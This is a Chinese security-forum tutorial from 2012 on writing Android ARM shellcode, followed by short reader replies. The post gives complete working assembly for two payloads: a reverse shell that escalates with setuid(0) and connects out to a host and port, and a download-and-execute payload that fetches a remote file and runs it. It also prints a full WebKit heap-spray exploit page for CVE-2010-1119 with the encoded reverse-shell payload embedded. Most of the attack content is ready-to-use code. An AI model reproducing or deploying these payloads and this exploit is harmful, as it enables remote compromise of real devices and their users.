首页
论坛
课程
招聘
[原创]Android系统shellcode编写
2012-9-10 15:07 41329

[原创]Android系统shellcode编写

2012-9-10 15:07
41329
    科普稿一篇,高手请自动路过
    随着Android手机的普及,Android系统安全日益受人关注。漏洞攻防是安全的一大课题,其中自然少不了shellcode的编写。本文将以提出问题、解决问题的方式教你如何编写Android系统shellcode。由于篇幅限制,本文将不对ARM指令集进行介绍,建议没有基础的读者先参考相关手册。
    1.基础部分
    使用什么工具?
    GNU ARM汇编器as和GNU ARM连接器ld是编写Android系统shellcode必不可少的两个工具。Android NDK提供了Cygwin、Mac和Linux版本的as和ld,为了方便在Windows环境下开发,笔者在附件中提供了Windows版本的as和ld。
    as和ld的使用方法很简单,假设sc.s是我们编写好的shellcode源文件,先使用as sc.s -o sc.o命令将sc.s汇编成目标文件sc.o,再使用ld sc.o -o sc将sc.o连接成可执行文件sc。文中用到的为数不多的as汇编伪指令将在相关注释中说明,具体请参考“Using as”手册。
    除了as和ld,我们还要用IDA作为反汇编器,IDA的使用想必不用多做介绍。用IDA记录下sc中shellcode的头部和尾部,就可以用十六进制编辑器从sc中提取shellcode了。
    函数参数如何传递?
    函数参数从左到右依次存入R0~R3,如果参数个数大于4个,则剩余参数从右到左依次入栈,返回值存入R0。
    如何给shellcode瘦身?
    ARM处理器支持两种指令集:ARM指令集和Thumb指令集。ARM指令集指令长度为32位,Thumb指令集指令长度为16位。Thumb指令集的限制更多,比如立即数大小只能在0到0xFF范围内。
    为了给shellcode瘦身,我们更倾向于使用Thumb指令集编写shellcode。ARM处理器总是从ARM指令集开始执行,所以我们的shellcode头部是一段ARM指令集程序,负责切换到Thumb指令集。
    如何自定位?
    自定位是编写shellcode的关键技术之一,也就是所谓GetPC。在x86环境下,通常有CALL GetPC、FSTENV GetPC、SEH GetPC三种方式。而在ARM环境下,事情就变得简单很多,因为指令指针PC可以直接访问。
    ARM汇编还提供了ADR伪指令,汇编器会将其转换为相对PC寻址的指令,所以我们不用担心自定位问题。值得注意的是,LDR指令通过绝对地址寻址,当基地址改变时根据重定位段信息进行重定位。用LDR指令寻址一个符号在shellcode编写中是错误的,这点和x86类似。
    如何定位函数?
    定位函数是编写shellcode的关键技术之二。在Windows环境下,通常通过PEB定位kernel32基地址,然后遍历kernel32输出表定位API。在Linux环境下,直接系统调用。
    Android系统调用由gensyscalls.py自动生成,以execve.S为例,代码如下:
/* autogenerated by gensyscalls.py */
#include <sys/linux-syscalls.h>

    .text @表示代码段
    .type execve, #function @定义符号类型
    .globl execve @导出符号到连接器
    .align 4 @对齐到4字节边界
    .fnstart

execve:
    .save   {r4, r7}
    stmfd   sp!, {r4, r7} @保存r4和r7
    ldr     r7, =__NR_execve @r7存放系统调用号
    swi     #0 @通过调用软中断,切换到特权模式,执行系统调用
    ldmfd   sp!, {r4, r7} @恢复r4和r7
    movs    r0, r0 @设置标志位
    bxpl    lr @非负则返回
    b     __set_syscall_errno @否则跳转到__set_syscall_errno
    .fnend

    __set_syscall_errno代码如下:
int __set_syscall_errno(int n)
{
      /* some syscalls, mmap() for example, have valid return
      ** values that are "negative".  Since errno values are not
      ** greater than 131 on Linux, we will just consider 
      ** anything significantly out of range as not-an-error
      */
    if(n > -256) {
      return __set_errno(-n); //设置errno为-n,并返回-1
    } else {
      return n; //返回值不变
    }
}

    从上述代码可以看出,Android通过调用软中断,切换到特权模式,执行系统调用,r7存放系统调用号,软中断号不重要。文末将附上Android系统调用表。
    2.实战部分
    解决了上述问题之后,我们可以编写shellcode了,先写一个简单的Connect Back Shell,代码如下:
.globl _start
.align 2
_start: @默认入口点
.code 32 @使用ARM指令集
  adr r0, thumb + 1 @最低位置1表示切换到Thumb指令集
  bx r0
thumb:
.code 16 @使用Thumb指令集
  mov r0, #0
  mov r7, #213
  swi #0 @setuid32(0)
  mov r0, #2 @AF_INET
  mov r1, #1 @SOCK_STREAM
  mov r2, #6 @IPPROTO_TCP
  mov r7, #250
  add r7, #31
  swi #0 @int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
  mov r4, r0
  adr r1, addr
  mov r2, #16
  mov r7, #250
  add r7, #33
  swi #0 @connect(sock, addr, 16)
  mov r0, r4
  mov r1, #0 @STDIN_FILENO
  mov r7, #63
  swi #0 @dup2(sock, STDIN_FILENO)
  mov r0, r4
  mov r1, #1 @STDOUT_FILENO
  mov r7, #63
  swi #0 @dup2(sock, STDOUT_FILENO)
  mov r0, r4
  mov r1, #2 @STDERR_FILENO
  mov r7, #63
  swi #0 @dup2(sock, STDERR_FILENO)
  adr r0, systembinsh
  mov r1, #0
  push {r1}
  push {r0} @argv[0]
  mov r1, sp @argv
  mov r2, #0
  mov r7, #11
  swi #0 @execve(filename, argv, NULL)
  mov r0, #0
  mov r7, #1
  swi #0 @exit(0)
addr:
  .short 2 @定义16比特数AF_INET
  .ascii "\x08\xAE" @定义2字节port=2222
  .byte 10, 0, 2, 2 @定义4字节ip=10.0.2.2(模拟器中的本机地址)
systembinsh:
  .asciz "/system/bin/sh" @定义字符串filename

    使用as和ld生成可执行文件sc,下一步就是测试shellcode了。读者可以提取shellcode并利用公开的漏洞如CVE-2010-1119测试,笔者为了方便直接测试sc。
    假定我们的工作目录在D盘,使用nc -vvlp 2222命令bind到2222端口。启动另一个命令行,启动模拟器,使用adb push D:/sc /data命令将sc复制到data目录下,使用adb shell命令进到shell,使用cd /data命令进到data目录,使用chmod 777 sc命令设置sc可执行,使用./sc命令执行sc,如图1所示。sc执行后我们已经拿到shell了,如图2所示。

图1

图2
    编写shellcode难免出错,自然少不了调试工作,笔者建议使用IDA远程调试,方法很简单。先将IDA目录下的android_server复制到模拟器中并执行,使用adb forward tcp:23946 tcp:23946命令转发端口,使用IDA打开sc,选择Remote ARM Linux/Android debugger调试器,在Debugger/Debugger options…中勾选Stop on debugging start,在Debugger/ Process options…中填Hostname为localhost,就可以F9开始调试了,如图3所示。

图3
    最后我们编写一个HTTP下载执行的shellcode,代码如下:
.globl _start
.align 2
_start:
.code 32
  adr r0, thumb + 1
  bx r0
thumb:
.code 16
  mov r0, #0
  mov r7, #213
  swi #0 @setuid32(0)
  @创建文件
  mov r2, #0x1C
  lsl r2, #4 @S_IRWXU
  mov r1, #0x24
  lsl r1, #4
  add r1, r1, #1 @O_CREAT|O_WRONLY|O_TRUNC
  adr r0, name
  mov r7, #5
  swi #0 @int fd = open(name, O_CREAT|O_WRONLY|O_TRUNC, S_IRWXU)
  mov r4, r0
  mov r2, #6 @IPPROTO_TCP
  mov r1, #1 @SOCK_STREAM
  mov r0, #2 @AF_INET
  mov r7, #250
  add r7, #31
  @建立连接
  swi #0 @int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
  mov r5, r0
  mov r2, #16
  adr r1, addr
  mov r7, #250
  add r7, #33
  swi #0 @connect(sock, addr, 16)
  @计算http头长度
  adr r2, head
  mov r1, r2
  b L1
L0:
  add r2, r2, #1
L1:
  ldrb r0, [r2]
  cmp r0, #0
  bne L0
  sub r2, r2, r1
  mov r0, r5
  mov r7, #4
  swi #0 @write(sock, head, strlen(head))
  @跳过http头
  mov r3, #0
  adr r6, nrnr
  ldr r6, [r6]
L2:
  mov r2, #252
  sub sp, sp, #252
  mov r1, sp
  mov r0, r5
  mov r7, #3
  push {r3}
  swi #0 @int len = read(sock, buf, 252)
  pop {r3}
  cmp r0, #0
  ble L7
  mov r2, #0
L3:
  lsl r3, r3, #8
  mov r1, sp
  add r1, r2
  ldrb r1, [r1]
  add r3, r3, r1
  add r2, r2, #1
  cmp r3, r6
  beq L4
  cmp r2, r0
  bne L3
  add sp, sp, #252
  b L2
L4:
  mov r1, sp
  add r1, r2
  sub r2, r0, r2
  b L6
  @写入文件
L5:
  mov r2, #252
  sub sp, sp, #252
  mov r1, sp
  mov r0, r5
  mov r7, #3
  swi #0 @int len = read(sock, buf, 252)
  cmp r0, #0
  ble L7
  mov r2, r0  
  mov r1, sp
L6:  
  mov r0, r4
  mov r7, #4
  swi #0 @write(fd, buf, len)
  add sp, sp, #252
  b L5
L7:
  add sp, sp, #252
  mov r0, r5
  mov r7, #6 
  swi #0 @close(sock)
  mov r0, r4
  swi #0 @close(fd)
  @执行文件
  mov r1, #0x1C
  lsl r1, #4 @S_IRUSR|S_IWUSR|S_IXUSR
  adr r0, name
  mov r7, #15
  swi #0 @chmod(name, S_IRUSR|S_IWUSR|S_IXUSR)
  mov r2, #0
  mov r1, #0
  push {r1}
  adr r0, name
  push {r0} @argv[0]
  mov r1, sp @argv
  mov r7, #11
  swi #0 @execve(name, argv, NULL)
  mov r0, #0
  mov r7, #1
  swi #0 @exit(0)
addr:
  .short 2 @AF_INET
  .ascii "\x00\x50" @port
  .byte 202, 120, 2, 102 @ip
  .zero 8
head:
  .ascii "GET /"
  .ascii "" @file
  .ascii " HTTP/1.1\r\n"
  .ascii "HOST: "
  .ascii "www.android.com" @host
  .ascii "\r\n\r\n\x00"
  .zero 2
name:
  .asciz "xxx"
nrnr:
  .ascii "\n\r\n\r"

    3.Android系统调用表
1  exit  2  fork
3  read  4  write
5  open  6  close
9  link  10  unlink
11  execve  12  chdir
14  mknod  15  chmod
19  lseek  20  getpid
21  mount  26  ptrace
29  pause  33  access
36  sync  38  rename
39  mkdir  40  rmdir
41  dup  42  pipe
43  times  45  brk
51  acct  52  umount2
54  ioctl  55  fcntl
57  setpgid  60  umask
61  chroot  63  dup2
64  getppid  66  setsid
67  sigaction  72  sigsuspend
73  sigpending  75  setrlimit
77  getrusage  78  gettimeofday
79  settimeofday  83  symlink
85  readlink  88  reboot
91  munmap  92  truncate
93  ftruncate  94  fchmod
96  getpriority  97  setpriority
103  syslog  103  syslog
104  setitimer  105  getitimer
114  wait4  116  sysinfo
118  fsync  120  clone
122  uname  125  mprotect
126  sigprocmask  128  init_module
129  delete_module  132  getpgid
133  fchdir  140  _llseek
142  _newselect  143  flock
144  msync  145  readv
146  writev  148  fdatasync
150  mlock  151  munlock
154  sched_setparam  155  sched_getparam
156  sched_setscheduler  157  sched_getscheduler
158  sched_yield  159  sched_get_priority_max
160  sched_get_priority_min  161  sched_rr_get_interval
162  nanosleep  163  mremap
168  poll  172  prctl
174  rt_sigaction  175  rt_sigprocmask
177  rt_sigtimedwait  180  pread64
181  pwrite64  183  getcwd
184  capget  185  capset
186  sigaltstack  187  sendfile
190  vfork  191  ugetrlimit
192  mmap2  195  stat64
196  lstat64  197  fstat64
198  lchown32  199  getuid32
200  getgid32  201  geteuid32
202  getegid32  203  setreuid32
204  setregid32  205  getgroups32
206  setgroups32  207  fchown32
208  setresuid32  209  getresuid32
210  setresgid32  211  getresgid32
212  chown32  213  setuid32
214  setgid32  217  getdents64
219  mincore  220  madvise
221  fcntl64  224  gettid
240  futex  248  exit_group
250  epoll_create  251  epoll_ctl
252  epoll_wait  257  timer_create
258  timer_settime  259  timer_gettime
260  timer_getoverrun  261  timer_delete
262  clock_settime  263  clock_gettime
264  clock_getres  265  clock_nanosleep
266  statfs64  267  fstatfs64
269  utimes  280  waitid
281  socket  282  bind
283  connect  284  listen
285  accept  286  getsockname
287  getpeername  288  socketpair
290  sendto  292  recvfrom
293  shutdown  294  setsockopt
295  getsockopt  296  sendmsg
297  recvmsg  314  ioprio_set
315  ioprio_get  316  inotify_init
317  inotify_add_watch  318  inotify_rm_watch
322  openat  323  mkdirat
325  fchownat  327  fstatat64
328  unlinkat  329  renameat
333  fchmodat  356  eventfd2
359  pipe2  983042  ARM_cacheflush
983045  ARM_set_tls    

    Android系统shellcode编写.7z
    CVE-2010-1119,其中shellcode为sc1.s
<html><head> <script language="JavaScript">function heap()
{
var id = document.getElementById("target");
var attribute = id.getAttributeNode('id');
nodes = attribute.childNodes;
document.body.removeChild(id);
attribute.removeChild(nodes[0]);
setTimeout(function() { for (var i = 0; i < 70000; i++) {var s = new String(unescape("%u0058%u0058")); };
var scode = unescape("%u0060%u0060");
var scode2 = unescape("%u5005%ue1a0");
var shellcode = unescape("%u0001%uE28F%uFF10%uE12F%u2000%u27D5%uDF00%u2002%u2101%u2206%u27FA%u371F%uDF00%u1C04%uA10D%u2210%u27FA%u3721%uDF00%u1C20%u2100%u273F%uDF00%u1C20%u2101%u273F%uDF00%u1C20%u2102%u273F%uDF00%uA007%u2100%uB402%uB401%u4669%u2200%u270B%uDF00%u2000%u2701%uDF00%u0002%uAE08%u000A%u0202%u732F%u7379%u6574%u2F6D%u6962%u2F6E%u6873%u0000");
 do
 {
  scode += scode;
  scode2 += scode2;
 } while (scode.length<=0x1000);
scode2 += shellcode
        target = new Array();
        for(i = 0; i < 300; i++){
            if (i<130){ target[i] = scode;}
            if (i>130){ target[i] = scode2;}
                  document.write(target[i]);
                  document.write("<br />");
                if (i>250){
                       //  alert("freeze");
                         nodes[0].textContent}
}
 }, 0);
}</script> </head><body
onload=heap()><p
id=target></p></body></html>

第五届安全开发者峰会(SDC 2021)议题征集正式开启!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (39)
雪    币: 556
活跃值: 活跃值 (71)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
金罡 活跃值 1 2012-9-10 15:15
2
0
沙发,学习了。
雪    币: 27
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
孤单的狼 活跃值 2012-9-10 15:22
3
0
前篇留名 观看LZ大作
雪    币: 1876
活跃值: 活跃值 (20)
能力值: (RANK:550 )
在线值:
发帖
回帖
粉丝
hawking 活跃值 12 2012-9-10 15:37
4
0
占位学习
雪    币: 34
活跃值: 活跃值 (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
yxgbo 活跃值 2012-9-10 16:20
5
0
。。。                        。
雪    币: 172
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
windowsa 活跃值 2012-9-10 16:52
6
0
第一次离hawking这么近
雪    币: 302
活跃值: 活跃值 (83)
能力值: ( LV15,RANK:310 )
在线值:
发帖
回帖
粉丝
dragonltx 活跃值 6 2012-9-10 21:57
7
0
占位学习
雪    币: 43
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
morog 活跃值 2012-9-11 06:56
8
0
好帖,学习了
雪    币: 19
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Artmiss 活跃值 2012-9-11 09:28
9
0
过来站位学习,android下的攻防先驱啊
雪    币: 199
活跃值: 活跃值 (25)
能力值: ( LV10,RANK:160 )
在线值:
发帖
回帖
粉丝
hellok 活跃值 3 2012-9-11 10:06
10
0
围观学习
http://packetstormsecurity.org/files/99300/Android-2.0-2.1-2.1.1-WebKit-Use-After-Free.html
雪    币: 139
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
迷茫之中 活跃值 2012-9-11 11:06
11
0
学习好东东。。。以后有机会 实验下!
雪    币: 235
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
yeweijun 活跃值 2012-9-11 13:43
12
0
学习         。。
雪    币: 755
活跃值: 活跃值 (82)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
古河 活跃值 6 2012-9-11 15:12
13
0
学习了,谢谢楼主的分享
雪    币: 793
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
happymhx 活跃值 2012-9-11 16:32
14
0
占位学习中....
雪    币: 46
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xiaocaijk 活跃值 2012-9-11 20:14
15
0
好文必顶。。。。
雪    币: 3133
活跃值: 活跃值 (16)
能力值: (RANK:250 )
在线值:
发帖
回帖
粉丝
snowdbg 活跃值 6 2012-9-12 08:33
16
0
写得不错,现在安卓的缓冲区溢出漏洞基本看不到了
雪    币: 55
活跃值: 活跃值 (10)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
后恋 活跃值 2 2012-9-12 09:41
17
0
mark需要学习
雪    币: 3
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
踏歌长行 活跃值 2012-9-12 15:08
18
0
太强大了,我还看不懂
雪    币: 234
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tntaiyu 活跃值 2012-9-12 17:09
19
0
顶,学习了。
雪    币: 1681
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
itf 活跃值 2012-9-12 20:19
20
0
谢谢分享!!!ANDRIOD  希望能更多的这方面的
雪    币: 404
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
moonspot 活跃值 2012-9-12 20:48
21
0
标记学习。。。
雪    币: 40
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
误码率 活跃值 2012-9-13 18:00
22
0
牛人啊。膜拜学习
雪    币: 11
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
greenworld 活跃值 2012-9-13 18:21
23
0
看看,学习学习,感谢分享
雪    币: 301
活跃值: 活跃值 (29)
能力值: ( LV13,RANK:330 )
在线值:
发帖
回帖
粉丝
HSQ 活跃值 8 2012-9-14 00:11
24
0
似乎常用的ROOT手机的那个工具,就是典型的shellcode
雪    币: 2404
活跃值: 活跃值 (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wubudomain 活跃值 2012-9-17 08:47
25
0
好强大,学习了
游客
登录 | 注册 方可回帖
返回